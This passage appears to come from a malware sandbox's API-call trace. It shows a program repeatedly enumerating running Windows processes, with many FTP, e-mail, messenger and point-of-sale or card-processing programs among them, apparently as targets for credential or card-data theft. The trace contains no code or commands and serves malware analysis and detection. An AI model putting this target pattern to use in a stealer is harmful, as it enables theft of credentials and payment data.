th32ProcessID=0xc18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="now third.exe")) returned 1 [0097.604] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="safe.exe")) returned 1 [0097.606] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="lossnecessary.exe")) returned 1 [0097.608] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="agent.exe")) returned 1 [0097.609] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk.exe")) returned 1 [0097.611] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="upguess.exe")) returned 1 [0097.613] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0097.614] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0097.617] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0097.618] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0097.620] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0097.622] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x930, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0097.624] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0097.626] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0097.628] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0097.630] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0097.632] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0097.634] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0097.637] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1010, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0097.639] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0097.641] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1028, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0097.642] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0097.645] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0097.647] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1044, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0097.649] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1054, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0097.651] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x105c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0097.653] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1070, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0097.654] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0097.656] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1088, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0097.659] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0097.661] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x109c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0097.663] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0097.664] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0097.666] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0097.669] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0097.671] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0097.673] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0097.674] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0097.676] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1100, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0097.678] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0097.681] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0097.683] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0097.684] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x112c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0097.691] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0097.693] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0097.695] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0097.697] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1164, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0097.699] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x116c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0097.700] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x117c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0097.702] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="large.exe")) returned 1 [0097.704] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="analysis_democrat.exe")) returned 1 [0097.706] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0097.708] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0097.710] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0097.711] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0097.713] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0097.715] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0097.716] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0097.718] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 0 [0097.720] CloseHandle (hObject=0x1b00) returned 1 [0097.720] Sleep (dwMilliseconds=0x64) [0097.875] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b1c [0097.890] Process32First (in: hSnapshot=0x1b1c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0097.893] Process32Next (in: hSnapshot=0x1b1c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0097.895] Process32Next (in: hSnapshot=0x1b1c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0097.896] Process32Next (in: hSnapshot=0x1b1c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0097.898] Process32Next (in: hSnapshot=0x1b1c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0097.900] Process32Next (in: hSnapshot=0x1b1c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0097.902] Process32Next (in: hSnapshot=0x1b1c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0097.904] Process32Next (in: hSnapshot=0x1b1c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0097.906] Process32Next (in: hSnapshot=0x1b1c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0097.908] Process32Next (in: hSnapshot=0x1b1c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0097.910] Process32Next (in: hSnapshot=0x1b1c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0097.912] Process32Next (in: hSnapshot=0x1b1c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0097.915] Process32Next (in: hSnapshot=0x1b1c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x55, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0097.917] Process32Next (in: hSnapshot=0x1b1c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0097.919] Process32Next (in: hSnapshot=0x1b1c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0097.921] Process32Next (in: hSnapshot=0x1b1c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0097.924] Process32Next (in: hSnapshot=0x1b1c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0097.925] Process32Next (in: hSnapshot=0x1b1c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0097.927] Process32Next (in: hSnapshot=0x1b1c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0097.928] Process32Next (in: hSnapshot=0x1b1c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0097.930] Process32Next (in: hSnapshot=0x1b1c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0097.932] Process32Next (in: hSnapshot=0x1b1c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0097.934] Process32Next (in: hSnapshot=0x1b1c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x32, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0097.936] Process32Next (in: hSnapshot=0x1b1c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, 